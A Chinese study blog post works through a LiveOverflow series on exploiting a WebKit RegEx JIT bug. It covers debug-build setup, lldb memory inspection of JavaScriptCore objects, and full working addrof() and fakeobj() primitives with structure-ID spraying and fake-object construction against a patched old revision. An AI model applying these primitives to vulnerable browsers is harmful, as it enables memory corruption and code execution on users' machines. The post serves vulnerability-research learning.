记录一下浏览器pwn的学习笔记。资源是liveoverflow的视频。
Setup and Debug JSCore Try exp 提到了:https://github.com/LinusHenze/WebKit-RegEx-Exploit
克隆下来,开php服务,websocket服务(需要先安装ws:sudo npm install ws
):
1 2 3 4 5 6 7 8 9 const WebSocket = require ('ws' );const wss = new WebSocket.Server({ port :5000 });wss.on('connection' , function connections (ws ) { ws.on('message' , function incoming (message ) { console .log('received: %s' , message); }); });
成功触发:
Setup debugging env lo提到通过抓包来查看版本是不明智的选择。推荐的做法:
在这:
1 git clone git://git.webkit.org/WebKit.git WebKit.git
感谢远志和强港的帮助,把这个大玩意拽下来了…🙏一开始看到的目录这样的:
1 2 HEAD config hooks objects refs branches description info packed-refs
远志继续执导:
恢复之后还涉及到checkout到指定tag的问题:https://trac.webkit.org/wiki/UsingGitWithWebKit
之后直接checkout到指定版本:
1 git checkout 3af5ce129e6636350a887d01237a65c2fce77823
现在需要build这个版本,需要xcode,所以配置要正确,参考https://stackoverflow.com/questions/17980759/xcode-select-active-developer-directory-error。根据视频xcode安装10.1的版本,然后设置一下路径。
出现错误:
1 Can't exec "cmake": No such file or directory at /Users/wgn/CTF/browser/WebKit/Tools/Scripts/webkitdirs.pm line 385.
brew安装一下cmake就好了。
之后编译:
1 Tools/Scripts/build-webkit --jsc-only --debug
然后就可以运行了:
1 2 3 4 5 6 7 ╭─wgn@Keenan ~/CTF/browser/WebKit ‹3af5ce129e6› ╰─$ ./WebKitBuild/Debug/bin/jsc 130 ↵ >>> 1+1 2 >>> describe([1,2,{}]) Object: 0x10d1b4340 with butterfly 0x10000fe6a8 (Structure 0x10d1f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x10d1c80a0]), StructureID: 99 >>>
lldb可以比较方便的调试内存。和gdb差不多。直接lldb jsc会报一个python错,设置一下别名:
1 alias lldb='PATH="/usr/bin:$PATH" lldb'
mac用户需要写到bash_profile里面再source一下要不会失效。
lldb的指令:
在查看[1,2,3,4]内存时,可以看到1,2,3,4,但是高地址有0xffff:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ╭─wgn@Keenan ~/CTF/browser/WebKit ‹3af5ce129e6› ╰─$ lldb ./WebKitBuild/Debug/bin/jsc (lldb) target create "./WebKitBuild/Debug/bin/jsc" Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64). (lldb) run Process 17553 launched: './WebKitBuild/Debug/bin/jsc' (x86_64) >>> a=[1,2,3,4] 1,2,3,4 >>> describe(a) Object: 0x107eb4340 with butterfly 0x10000e4008 (Structure 0x107ef2a00:[Array, {}, ArrayWithInt32, Proto:0x107ec80a0, Leaf]), StructureID: 97 >>> Process 17553 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20> 0x7fff5fc458a8 <+12>: movq %rax, %rdi 0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror 0x7fff5fc458b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/8gx 0x107eb4340 0x107eb4340: 0x0108210500000061 0x00000010000e4008 # 这一行称为JSCell Header 0x107eb4350: 0x00000000badbeef0 0x00000000badbeef0 0x107eb4360: 0x00000000badbeef0 0x00000000badbeef0 0x107eb4370: 0x00000000badbeef0 0x00000000badbeef0 (lldb) x/40gx 0x10000e4008 0x10000e4008: 0xffff000000000001 0xffff000000000002 <= 我们数组存的位置 0x10000e4018: 0xffff000000000003 0xffff000000000004 0x10000e4028: 0x0000000000000000 0x00000000badbeef0 0x10000e4038: 0x00000000badbeef0 0x00000000badbeef0 0x10000e4048: 0x00000000badbeef0 0x00000000badbeef0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 (lldb) b JSC::mathProtoFuncMax(JSC::ExecState*) Breakpoint 1: where = JavaScriptCore`JSC::mathProtoFuncMax(JSC::ExecState*) + 15 at MathObject.cpp:227, address = 0x000000010164f9df (lldb) c Process 17553 resuming undefined >>> Math.max(13,37) Process 17553 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x000000010164f9df JavaScriptCore`JSC::mathProtoFuncMax(exec=0x00007ffeefbfd670) at MathObject.cpp:227 224 225 EncodedJSValue JSC_HOST_CALL mathProtoFuncMax(ExecState* exec) 226 { -> 227 VM& vm = exec->vm(); 228 auto scope = DECLARE_THROW_SCOPE(vm); 229 unsigned argsCount = exec->argumentCount(); 230 double result = -std::numeric_limits<double>::infinity(); Target 0: (jsc) stopped.
继续用n单步调试。用p可以直接打印变量名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 (lldb) Process 17553 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = step over frame #0: 0x000000010164fc05 JavaScriptCore`JSC::mathProtoFuncMax(exec=0x00007ffeefbfd670) at MathObject.cpp:237 234 if (std::isnan(val)) { 235 result = PNaN; 236 } else if (val > result || (!val && !result && !std::signbit(val))) -> 237 result = val; 238 } 239 return JSValue::encode(jsNumber(result)); 240 } Target 0: (jsc) stopped. (lldb) p val (double) $1 = 13 (lldb) p result (double) $2 = -Inf
The Butterfly of JSObject 之前说的0xffff涉及到jsc里面的数据类型(64位):
指针(pointer):0000:PPPP:PPPP:PPPP
整数(integer):FFFF:0000:IIII:IIII
32位有符号整数
false:0x06, true:0x07, undefined:0x0a, null:0x02
有时候数组内其他元素的类型会影响到元素的类型
内存中显示0xbadbeef0是方便调试的,当0处理
describe的时候显示的butterfly:其实指向的是内存的中点。如图:
如果a是一个对象的话,没有butterfly,为0。超过6个属性的时候会有butterfly。jsc是通过structure id来记录属性的。加入属性的时候structure id会更新。
查看对象的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 >>> describe(a) Object: 0x1088b4340 with butterfly 0x8000e0028 (Structure 0x1088703f0:[Array, {b:100, c:101, d:102}, ArrayWithUndecided, Proto:0x1088c80a0, Leaf]), StructureID: 296 >>> Process 17765 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20> 0x7fff5fc458a8 <+12>: movq %rax, %rdi 0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror 0x7fff5fc458b0 <+20>: retq Target 0: (jsc) stopped. (lldb) p *(JSC::JSObject*)(0x1088b4340) (JSC::JSObject) $2 = { JSC::JSCell = { m_structureID = 296 m_indexingTypeAndMisc = '\x03' m_type = ArrayType m_flags = '\b' m_cellState = DefinitelyWhite } m_butterfly = (m_value = 0x00000008000e0028) }
大致的数据结构:object的地址指向的内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 >>> a = [13.37, 13.37, 13.37] 13.37,13.37,13.37 >>> describe(a) Object: 0x1089b4350 with butterfly 0x10000e4038 (Structure 0x1089f2a70:[Array, {}, ArrayWithDouble, Proto:0x1089c80a0, Leaf]), StructureID: 98 >>> Process 20268 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5fc458a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff5fc458a6 <+10>: jae 0x7fff5fc458b0 ; <+20> 0x7fff5fc458a8 <+12>: movq %rax, %rdi 0x7fff5fc458ab <+15>: jmp 0x7fff5fc43e31 ; cerror 0x7fff5fc458b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/20gx 0x1089b4350 0x1089b4350: 0x0108210700000062 0x00000010000e4038 # 标志位(4字节)+structure id(4字节)+ butterfly(8字节) 0x1089b4360: 0x00000000badbeef0 0x00000000badbeef0
然后butterfly再指向中间。
Just-in-time Compiler in JavaScriptCore JIT jit编译器的编译和运行的过程:
编译js字节码,js字节码是vm运行的
经过编译,变成机器码。
JSC分为4层:
1: the LLInt interpreter(第一次调用)
2: the Baseline JIT compiler(经常被调用,如超过100次)
3: the DFG JIT(DFG=Data Flow Graph,更多被调用,例如1000次)
4: the FTL JIT(FTL=Faster Than Light,)
当一个函数经常被调用,称为hot的(热点函数?),就会被tier 2的来处理。以此类推。可以通过设置env来禁止某种优化方式。
attack idea 如果jit猜测并假设了代码中的数据类型,并删去了检查,例如直接从内存中拷贝数据,这是否可以被利用?
具体的例子,jit认为一个数组里面都是float,并直接通过偏移拷贝数据,如果有办法将一个浮点型改为对象,jit并没有检查是不是浮点型,所以直接返回了对象指针。
jit的防御措施:如果一个函数可以改变数组布局,例如把一个object加到double array中,就认为是危险的。之后的攻击就是基于这个想法的。
Exploit addrof() walk-through 主要内容:
1 2 3 4 5 <script src="ready.js"></script> <script src="logging.js"></script> <script src="utils.js"></script> <script src="int64.js"></script> <script src="pwn.js"></script>
从pwn.js开始学习。exp很长,最终的目的是任意代码执行。现确定一下利用的是什么漏洞。
addrof() 1 2 object = {} print(addrof(object))
1 2 3 ╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin ‹3af5ce129e6› ╰─$ ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js 2.1736404966e-314
这两个函数:addrof和addrofInternal可以通过某种方式泄露对象的地址。代码并不是百分百成功,如果当第一个元素13.37还是13.37就会重试,说明预期是不是13.37,会被修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 function addrofInternal (val ) { var array = [13.37 ]; var reg = /abc/y ; var AddrGetter = function (array ) { reg[Symbol .match](); return array[0 ]; } for (var i = 0 ; i < 100000 ; ++i) AddrGetter(array); regexLastIndex = {}; regexLastIndex.toString = function ( ) { array[0 ] = val; return "0" ; }; reg.lastIndex = regexLastIndex; return AddrGetter(array); } function addrof (val ) { for (var i = 0 ; i < 100 ; i++) { var result = addrofInternal(val); if (typeof result != "object" && result !== 13.37 ){ return result; } } print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen..." ); throw "See above" ; } object = {} print(addrof(object))
读源码可以看到处理过程:判断是否存在副作用(side effects)。如果存在,则调用matchSlow。如果没有的话则用regMatchFast。
在官方的patch中加入了lastIndex是不是number的类型检查。上面的exp过不了检查,就会进入到matchSlow的分支。
Address Leak => Memory Corruption exp主要的两个函数,一个是addrof,一个是fakeobj。
addrof:将object插入到double array,object的指针被当作double读出。
fakeobj:将object插入到double array中,array[0]写入object的指针,JIT认为依旧是double array,之后将我们输入的double写入到array[0]将原来的覆盖,这样插入的object的地址就被我们所控。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function fakeobj (dbl ) { var array = [13.37 ]; var reg = /abc/y ; var AddrSetter = function (array ) { "abc" .match(reg); array[0 ] = dbl; } for (var i = 0 ; i < 10000 ; ++i) AddrSetter(array); regexLastIndex = {}; regexLastIndex.toString = function ( ) { array[0 ] = {}; return "0" ; }; reg.lastIndex = regexLastIndex; AddrSetter(array); return array[0 ]; }
简单的测试一下:
1 2 3 4 5 6 7 8 9 fake = {} fake.x = 1 fake.y = 2 fake.z = 3 >>> addrof(fake) 2.193326981e-314 >>> hex = fakeobj(2.193326981e-314) [object Object]
调试tips:run -i test.js 运行脚本并继续有交互的输入输出(”>>>”)
如何控制指针指向的内容是object呢?通过partial write的思想,我们获取一个object的地址之后,用该地址+0x10的地址作为fake obj的地址。这段内存我们可以通过原来object的内容来控制(如double array存储的值)。
例obj(就是一个{}。不是数组或者其他。):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 >>> test = {} [object Object] >>> test.x=1 1 >>> describe(test) Object: 0x1088b00c0 with butterfly 0x0 (Structure 0x1088703f0:[Object, {x:0}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 296 >>> Process 1676 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/20gx 0x1088b00c0 0x1088b00c0: 0x0100160000000128 0x0000000000000000 # JSCell Header:flags+id+butterfly 0x1088b00d0: 0xffff000000000001 0x0000000000000000 # properties
用到的特点:一个单纯的对象,设置其属性,属性存储的位置就在JSCell Header下方,而不是butterfly指向的位置。
fake obj:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 >>> fake = {} [object Object] >>> fake.x=1 1 >>> fake.y=2 2 >>> fake.z=3 3 >>> describe(fake) Object: 0x1088b0100 with butterfly 0x0 (Structure 0x108870620:[Object, {x:0, y:1, z:2}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 301 >>> Process 1676 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/8gx 0x1088b0100 0x1088b0100: 0x010016000000012d 0x0000000000000000 0x1088b0110: 0xffff000000000001 0xffff000000000002 # 从此构造一个假的obj 0x1088b0120: 0xffff000000000003 0x0000000000000000 0x1088b0130: 0x0000000000000000 0x0000000000000000
其中0x1088b0100是fake的地址,如果我们传入的是0x1088b0100+0x10,从这个地址开始的内存都是我们可控的,如果格式正确我们就构造了一个fake obj。
那么具体需要布置哪些值呢?
JSCell(flags + structure id)
butterfly
fake obj存储的值
重点在于前两个。
test object作为我们伪造的模本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 >>> test = {} [object Object] >>> test.x=1 1 >>> describe(test) Object: 0x1089b0100 with butterfly 0x0 (Structure 0x108970310:[Object, {x:0}, NonArray, Proto:0x1089b4000]), StructureID: 294 >>> Process 1794 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/8gx 0x1089b0100 0x1089b0100: 0x0100160000000126 0x0000000000000000 0x1089b0110: 0xffff000000000001 0x0000000000000000 0x1089b0120: 0x0000000000000000 0x0000000000000000 0x1089b0130: 0x0000000000000000 0x0000000000000000
当一个obj更新时,其strcuture id也会+1。
这样我们可以一次创建多个obejct,并更改他们的属性,强制structure id+1。这样最后一个object的id会很大(如4096)。这样我们随便选一个数作为id,都会有一个object和它对应。至于flags直接照搬就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 >>> for(var i=0; i<0x1000; i++) { ... test = {} ... test.x = 1 ... test['prop_'+i] = 2 ... } 2 >>> describe(test) Object: 0x10a8ed500 with butterfly 0x0 (Structure 0x10a8f2d80:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x1089b4000, Leaf]), StructureID: 4395 (lldb) x/8gx 0x10a8ed500 0x10a8ed500: 0x010016000000112b 0x0000000000000000 0x10a8ed510: 0xffff000000000001 0xffff000000000002 0x10a8ed520: 0x0000000000000000 0x0000000000000000 0x10a8ed530: 0x0000000000000000 0x0000000000000000
我们选择伪造0x0100160000001000。
1 2 >>> struct.unpack("d" , struct.pack("Q" , 0x0100160000001000 ))(7.330283319472755e-304 ,)
但是用完之后发现差了点:
1 2 3 (lldb) x/8gx 0x10a8ed580 0x10a8ed580: 0x0100160000000126 <= 正常的 0x10a8ed590: 0x0101160000001000 <= 我们构造的,多0x1000000000000
减一下就好了。
1 2 >>> struct.unpack("d" , struct.pack("Q" , 0x0100160000001000 -0x1000000000000 ))(7.082855106403439e-304 ,)
至于为什么差这2^48,之后会提及。
ok~
1 2 3 (lldb) x/8gx 0x10a8ed580 0x10a8ed580: 0x0100160000000126 0x0000000000000000 0x10a8ed590: 0x0100160000001000 0x0000000000000000
以上作为fake.a。
fake butterfly=0 我们想要fake的obj的butterfly要为0(为啥?)作为fake.b,但是根据之前的数据格式,如果我们输入整数,最高位0xffff,就算是null也是0x02也不是0。
方法:现创建一个属性,之后delete掉,那个位置就变成0了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 >>> p.b = 1 1 >>> describe(p) Object: 0x10a8ed580 with butterfly 0x0 (Structure 0x10a8f2df0:[Object, {x:0, b:1}, NonArray, Proto:0x1089b4000, Leaf]), StructureID: 4396 >>> Process 1794 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/4gx 0x10a8ed580 0x10a8ed580: 0x010016000000112c 0x0000000000000000 0x10a8ed590: 0x0100160000001000 0xffff000000000001 <= 此时构造的值不为0 (lldb) c Process 1794 resuming undefined >>> delete p.b true >>> Process 1794 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/4gx 0x10a8ed580 0x10a8ed580: 0x010016000000112d 0x0000000000000000 0x10a8ed590: 0x0100160000001000 0x0000000000000000 <= 构造出了为0的butterfly!
当然,后续如果需要构造一个fake butterfly指向别处也是可以的。
现在:
1 2 3 4 5 6 7 fake = {} fake.a = 7.082855106403439e-304 fake.b = 2 fake.c = 1337 delete fake.b print(addrof(fake))
得到fake的地址为2.192495749e-314。内存:
1 2 3 4 5 6 (lldb) x/10gx 0x108815480 0x108815480: 0x010016000000112a 0x0000000000000000 0x108815490: 0x0100160000001000 0x0000000000000000 0x1088154a0: 0xffff000000000539 0x0000000000000000 0x1088154b0: 0x0000000000000000 0x0000000000000000 0x1088154c0: 0x00000000badbeef0 0x00000000badbeef0
试一下传入0x108815490作为构造的obj:
1 2 >>> struct.unpack("d" , struct.pack("Q" , 0x108815490 ))(2.192495757e-314 ,)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 >>> hex = fakeobj(2.192495757e-314) [object Object] >>> hex.x 1337 >>> describe(hex) Object: 0x108815490 with butterfly 0x0 (Structure 0x10882a7d0:[Object, {x:0, prop_3801:1}, NonArray, Proto:0x1085b4000, Leaf]), StructureID: 4096 >>> Process 2210 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/8gx 0x108815490 0x108815490: 0x0100160000001000 0x0000000000000000 0x1088154a0: 0xffff000000000539 0x0000000000000000
成功识别为object!并且能够正常使用属性!并且通过fake来设置hex的属性也是可以的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 >>> fake.c = "Keenan" Keenan >>> hex.x Keenan >>> Process 2210 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff7a7d28a6 libsystem_kernel.dylib`read + 10 libsystem_kernel.dylib`read: -> 0x7fff7a7d28a6 <+10>: jae 0x7fff7a7d28b0 ; <+20> 0x7fff7a7d28a8 <+12>: movq %rax, %rdi 0x7fff7a7d28ab <+15>: jmp 0x7fff7a7d0e31 ; cerror 0x7fff7a7d28b0 <+20>: retq Target 0: (jsc) stopped. (lldb) x/8gx 0x108815490 0x108815490: 0x0100160000001000 0x0000000000000000 0x1088154a0: 0x000000010880ca60 0x0000000000000000
下一阶段的问题:
Revisiting JavaScriptCore Internals Boxed and Unboxed 首先解释为啥之前那个double值差了2^48。如果我们直接创建一个double array,里面存储的值似乎都是正确的一一对应的值。
1 2 3 4 5 6 7 8 >>> a = [1.23, 2.34, 3.45, 4.56] 1.23,2.34,3.45,4.56 >>> describe(a) Object: 0x1088b4340 with butterfly 0x8000e4008 (Structure 0x1088f2a70:[Array, {}, ArrayWithDouble, Proto:0x1088c80a0, Leaf]), StructureID: 98 (lldb) x/4gx 0x8000e4008 0x8000e4008: 0x3ff3ae147ae147ae 0x4002b851eb851eb8 <= 存储的normal double (Boxed) 0x8000e4018: 0x400b99999999999a 0x40123d70a3d70a3d
并且此时是ArrayWithDouble的类型。但是当我们push一个对象之后:
1 2 3 4 5 6 7 8 >>> a.push({}) 5 >>> describe(a) Object: 0x1088b4340 with butterfly 0x8000e4008 (Structure 0x1088f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x1088c80a0]), StructureID: 99 (lldb) x/4gx 0x8000e4008 0x8000e4008: 0x3ff4ae147ae147ae 0x4003b851eb851eb8 <= 修改后的double (Boxed) 0x8000e4018: 0x400c99999999999a 0x40133d70a3d70a3d
可以看到类型变成了ArrayWithContiguous,并且值都加了0x1.0000.0000.0000。
Normal double称为unboxed,修改之后称为boxed。只有当存储的值是JSValue才会发生!
指针,整数,浮点数都可以通过JSValue来存储。
之后在处理JAValue类型的值的时候需要注意这一点。
Double to Integer Conversion 工具:int64.js和utils.js
主要原理:设置一个buf,创建Uint32Array和Float64Array的数组公用这个buf,可以方便的取高位取低位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 buf = new ArrayBuffer (8 ); u32 = new Uint32Array (buf); f64 = new Float64Array (buf); fake = {} fake.a = 7.082855106403439e-304 fake.b = 2 fake.c = 1337 delete fake.b fake_addr = addrof(fake) f64[0 ] = fake_addr u32[0 ] += 0x10 hax_addr = f64[0 ] hax = fakeobj(hax_addr)
1 2 3 4 5 6 7 >>> hax.x 1337 >>> describe(fake) Object: 0x108c11480 with butterfly 0x0 (Structure 0x108c1b640:[Object, {a:0, c:2}, NonArray, Proto:0x1088b4000, UncacheableDictionary, Leaf]), StructureID: 4415 >>> describe(hax) Object: 0x108c11490 with butterfly 0x0 (Structure 0x108c2a7d0:[Object, {x:0, prop_3780:1}, NonArray, Proto:0x1088b4000, Leaf]), StructureID: 4096 >>>
Bad butterfly 下面尝试用一个错误的butterfly来触发error。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 for (var i = 0 ; i < 0x1000 ; i++) { test = [] test.x = 1 test['prop_' +i] = 2 } buf = new ArrayBuffer (8 ); u32 = new Uint32Array (buf); f64 = new Float64Array (buf); fake = {} u32[0 ] = 0x00001000 u32[1 ] = 0x01082103 fake.a = f64[0 ] u32[0 ] = 0x41414141 u32[1 ] = 0x42424242 fake.b = f64[0 ] fake.c = 1337 fake_addr = addrof(fake) f64[0 ] = fake_addr u32[0 ] += 0x10 hax_addr = f64[0 ] hax = fakeobj(hax_addr) print(hax.length)
触发错误:EXC_BAD_ACCESS,this=0x4243424241414139
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (lldb) run -i ~/CTF/browser/WebKit-RegEx-Exploit/test.js There is a running process, kill it and restart?: [Y/n] Y Process 4548 exited with status = 9 (0x00000009) Process 4591 launched: './jsc' (x86_64) Process 4591 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) frame #0: 0x0000000100034e7c jsc`JSC::IndexingHeader::publicLength(this=0x4243424241414139) const at IndexingHeader.h:64 61 u.lengths.vectorLength = length; 62 } 63 -> 64 uint32_t publicLength() const { return u.lengths.publicLength; } 65 void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; } 66 67 ArrayBuffer* arrayBuffer() { return u.typedArray.buffer; } Target 0: (jsc) stopped.
直接用jsc运行会报错:segmentation fault
1 2 3 ╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin ‹3af5ce129e6› ╰─$ ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js [1] 4612 segmentation fault ./jsc ~/CTF/browser/WebKit-RegEx-Exploit/test.js
视频中涉及的报错追踪,参考:https://webkit.org/blog/6411/
1 2 3 $ cd webkitDir $ ./Tools/Scripts/set-webkit-configuration --asan (可以改成只变异jsc only,惨惨的我忘了,编译了半个小时) $ ./Tools/Scripts/build-webkit --debug
emmm编译完倒也是编译成功,但是没有出现视频中的效果,想着再编译一次结果原来编译的jsc不能用了??貌似是链接的时候符号丢了…
1 2 3 4 5 6 ╭─wgn@Keenan ~/CTF/browser/WebKit/WebKitBuild/Debug/bin ‹3af5ce129e6*› ╰─$ ./jsc dyld: Library not loaded: @rpath/JavaScriptCore.framework/Versions/1.0.0/JavaScriptCore Referenced from: /Users/wgn/CTF/browser/WebKit/WebKitBuild/Debug/bin/./jsc Reason: image not found [1] 13834 abort ./jsc
暂时先不更了…等环境被我恢复好了再继续吧hhh。